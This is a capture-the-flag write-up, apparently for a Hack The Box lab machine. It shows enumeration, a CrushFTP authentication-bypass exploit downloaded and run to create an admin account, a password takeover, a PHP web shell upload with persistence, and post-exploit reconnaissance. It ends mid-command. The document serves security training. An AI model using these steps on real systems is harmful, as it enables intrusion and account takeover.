![[Soulmate.png]]
# **Nmap Results**
```
# Replace <target_ip> and <target_domain>
echo -e "\ntarget_ip=10.129.211.221\ntarget_domain=soulmate.htb" | tee -a ~/.bashrc
exec bash
echo "$target_ip $target_domain" | sudo tee -a /etc/hosts
mkdir -p ~/my_data/$target_domain/nmap && cd ~/my_data/$target_domain
# Scan all TCP ports
sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
# Scan top 1000 UDP ports
sudo nmap -sU -oA nmap/initial.udp $target_ip
# Scan top 100 UDP ports using a faster timing template
sudo nmap -sU -oA nmap/initial.fast.udp -T4 -F $target_ip
```
```
# Nmap 7.94SVN scan initiated Sat Oct 11 21:57:20 2025 as: nmap -sC -sV -oA nmap/full.tcp -p- 10.129.211.221
Nmap scan report for soulmate.htb (10.129.211.221)
Host is up (0.088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Soulmate - Find Your Perfect Match
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 11 22:12:03 2025 -- 1 IP address (1 host up) scanned in 883.22 seconds
```
# **Service Enumeration**
## **TCP/80**
### **Walking the Application**
Performed a directory brute force. Based off the results or by clicking around, a registration page can be found. After creating an account and logging in it was possible to upload files to the target. The dashboard states uploads are restricted to `.jpg`, `.png`, or `.gif` files. When uploading `dog.jpg` I was able to right-click and open the image in a new tab. It was accessible at `http://soulmate.htb/assets/images/profiles/3_1760239762.jpg`. The name of the file seems to be randomly generated upon upload. When uploading a `.php` file a `200 OK` was seen, however I was not able to right-click and open in a new tab. Seeing as how uploaded files are renamed, I would have to brute force the file name to see if the `.php` file was uploaded or not. At this point it was decided it was not worth the effort to pursue.
```
feroxbuster -u http://$target_domain -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
```
```text
200 GET 473l 932w 8657c http://soulmate.htb/assets/css/style.css
200 GET 178l 488w 8554c http://soulmate.htb/login.php
200 GET 238l 611w 11107c http://soulmate.htb/register.php
200 GET 306l 1061w 16688c http://soulmate.htb/
301 GET 7l 12w 178c http://soulmate.htb/assets => http://soulmate.htb/assets/
403 GET 7l 10w 162c http://soulmate.htb/assets/
301 GET 7l 12w 178c http://soulmate.htb/assets/images => http://soulmate.htb/assets/images/
301 GET 7l 12w 178c http://soulmate.htb/assets/css => http://soulmate.htb/assets/css/
403 GET 7l 10w 162c http://soulmate.htb/assets/css/
301 GET 7l 12w 178c http://soulmate.htb/assets/images/profiles => http://soulmate.htb/assets/images/profiles/
403 GET 7l 10w 162c http://soulmate.htb/assets/images/
403 GET 7l 10w 162c http://soulmate.htb/assets/images/profiles/
403 GET 7l 10w 162c http://soulmate.htb/assets/.PHP
403 GET 7l 10w 162c http://soulmate.htb/assets/css/.PHP
403 GET 7l 10w 162c http://soulmate.htb/assets/images/.PHP
403 GET 7l 10w 162c http://soulmate.htb/assets/images/profiles/.PHP
```
![[Soulmate - Upload New Picture.png]]
![[Soulmate - Open Image in New Tab.png]]
### **Subdomain Enumeration**
Subdomain enumeration was done, `ftp.soulmate.htb` was discovered and was added to `/etc/hosts`.
```
ffuf -H "Host: FUZZ.$target_domain" -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$target_domain -fs 154
```
```text
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 218ms]
:: Progress: [4989/4989] :: Job [1/1] :: 471 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
```
### **Discovering a CrushFTP Web Interface**
Attempted to login with common usernames and passwords, no valid credentials were discovered.
![[Soulmate - CrushFTP WebInterface.png]]
# **Exploit**
### **CVE-2025-31161**
Looking at the login page I was not able to determine the version of CrushFTP running. After a bit of research I discovered CVE-2025-31161 which allows an attacker unauthenticated access. The specific versions affect are CrushFTP 10 before 10.8.4 and 11 before 11.3.1.
```
wget https://www.exploit-db.com/raw/52295 -O cve-2025-31161.py
pip install PrettyTable
python3 cve-2025-31161.py --help
python3 cve-2025-31161.py --target ftp.soulmate.htb --port 80 --target-user root --exploit --new-user not_sus --password password123
```
```
[36m
/ ____/______ _______/ /_ / ____/ /_____
/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \
/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /
\____/_/ \__,_/____/_/ /_/_/ \__/ .___/
/_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m
Exploiting 1 targets with 10 threads...
[+] Successfully created user not_sus on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00
Exploitation complete! Successfully exploited 1/1 targets.
Exploited Targets:
→ ftp.soulmate.htb
Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1
```
### **Accessing the CrushFTP Admin Dashboard**
Using the credentials specified above, I was able to access the CrushFTP admin dashboard. I was able to change the password for the user `ben` by navigating to `Admin` -> `User Manager` -> `ben` -> `Generate Random Password` -> changing the password -> `Use this` -> `Save`.
![[Soulmate - Change Ben's Password.png]]
### **Uploading a PHP Web Shell**
After logging out and back in as the user `ben`, I was able to upload a PHP web shell. The folder `webProd` within the CrushFTP dashboard contains the files being served at `http://soulmate.htb`. The initial connection I had died due to some script cleaning up the web shell I uploaded to the `webProd` directory. To establish a more consistent connection I uploaded the web shell again and immediately established a second C2 channel with `nohup`. With the second channel established I still had access to the target system even after my first channel died.
![[Soulmate - webProd Directory.png]]
![[Soulmate - Web Shell Upload.png]]
![[Soulmate - Call Back.png]]
# **Post-Exploit Enumeration**
## **Operating Environment**
> [!tldr]- OS & Kernel
>```
>python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@soulmate:/$ uname -a
uname -a
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
www-data@soulmate:/$ cat /etc/*elease
cat /etc/*elease
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
www-data@soulmate:/$ env
env
PWD=/
HOME=/var/www
USER=www-data
SHLVL=2
LC_CTYPE=C.UTF-8
PATH=/sbin:/usr/sbin:/bin:/usr/bin
_=/bin/env
> ```
> [!tldr]- Current User
> ```
> www-data@soulmate:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> ```
## **Users and Groups**
> [!tldr]- Local Users
> ```
> www-data@soulmate:/$ cat /etc/passwd | egrep "nologin|false" -v
cat /etc/passwd | egrep "nologin|false" -v
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
ben:x:1000:1000:,,,:/home/ben:/bin/bash
> ```
> [!tldr]- Local Groups
> ```
www-data@soulmate:/$ cat /etc/group | egrep "www-data|ben|root"
cat /etc/group | egrep "www-data|ben|root"
root:x:0:
www-data:x:33:
ben:x:1000:
> ```
## **Network Configurations**
> [!tldr]- Network Interfaces
>```
>www-data@soulmate:/$ ip addr show dev eth0
>ip addr show dev eth0
>2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
> link/ether 00:50:56:b0:23:6f brd ff:ff:ff:ff:ff:ff
> altname enp3s0
> altname ens160
> inet 10.129.211.221/16 brd 10.129.255.255 scope global dynamic eth0
> valid_lft 2776sec preferred_lft 2776sec
>```
>[!tldr]- Open Ports
>```
>www-data@soulmate:/$ netstat -tanup | grep -i listen
netstat -tanup | grep -i listen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1217/nginx: worker
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40891 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:44523 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:4369 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1217/nginx: worker
tcp6 0 0 :::22 :::* LISTEN -
>```
## **Processes and Services**
> [!tldr]- Interesting Processes
>```
>www-data@soulmate:/$ ps aux --sort user | grep -v '\ \[.*\]